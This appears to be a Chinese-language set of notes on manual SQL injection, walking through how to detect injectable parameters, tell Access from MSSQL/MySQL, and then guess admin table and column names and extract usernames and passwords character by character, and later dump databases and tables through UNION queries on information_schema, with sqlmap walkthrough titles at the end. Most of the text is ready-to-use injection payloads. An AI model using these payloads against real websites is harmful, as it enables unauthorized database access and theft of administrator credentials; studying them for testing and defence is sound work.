参考链接:
https://www.cnblogs.com/habi/articles/7831258.html
https://www.cnblogs.com/vame1/p/5788391.html
手工注入
判断是否存在注入点:
常用:a.在末尾添加’ b.在末尾添加 and 1=1 c.在末尾添加 and 1=2
- 数字型:and 1=1 and 1=2 判断是否存在注入
- 字符型:’and ‘1’=’1 ‘and ‘1’=’2
- 搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%
判断数据库类型
IIS报错下使用: and user>0 (判断是Access还是Mssql(mysql))
不报错则使用各自的数据库特性来判断:
1 | and (select count(*) from msysobjects)>0 (返回权限不足则是access数据库) |
然后找到后台地址,进行猜解
ACCESS注入:
猜解表名(正常存在admin,不正常则不存在)
1 | and exists(select * from admin) |
猜解字段(字段username存在则正常,不正常则不存在)
1 | and (select username from admin)>0 |
猜解用户名和密码长度
1 | and (select top 1 len(username) from admin)>0 |
原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成 立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII码。
猜解用户
1 | and (select top 1 asc(mid(username,1,1)) form admin)>0,1,2..., |
原理:当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。注意的是英文和数字的ASCII码在1-128之间…
MSSQL(Mysql)
可以参照:https://blog.csdn.net/c_major/article/details/40301379
order by 和 union select
通过order by 查出字段数目N,然后联合查询.
1 | and 1=1 order by 1,2,3,4...,N |
order by确认字段数,union select联合查询可以将字段全部显示出来,显示出来后查并爆库爆表爆字段。
首先这里and 1=2报错,用单引号或在参数前加个”-“也行,这里和Access不同,后面可以不加”from 表名”;最后面的”–”是注释符,注释掉后面的语句,防止出错,换成”/*”也行,也可以不加,Access不支持注释符,MySQL和MSSQL支持。
查出基本信息:
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
1 | and 1=2 union select 1,2,version(),4...,N |
常用函数:
1 | version()——Mysql版本 |
暴表暴库列暴用户名密码
查表查列
1 | and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1 |
有个提速技巧,要查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库。
找敏感的表,含有admin、manage或者user之类的
爆表爆列
1 | 暴库:and 1=2 union select 1,2,group_concat(distinct schema_name),4 from information_schema.schemata |
distinct表示不同,也就是去掉爆出内容的重复部分,不加也可以。
所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库的介绍(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度.
一般用union select 查到表后 直接进行爆表爆列
Sqlmap等工具注入
sqlmap access注入实战
sqlmap mysql注入实战
sqlmap cookie注入实战
sqlmap post登录框注入实战
PHP+Mysql手动注入-字符型
PHP+Mysql手动注入-搜索型
ASP+ACCESS手动注入-Cookie注入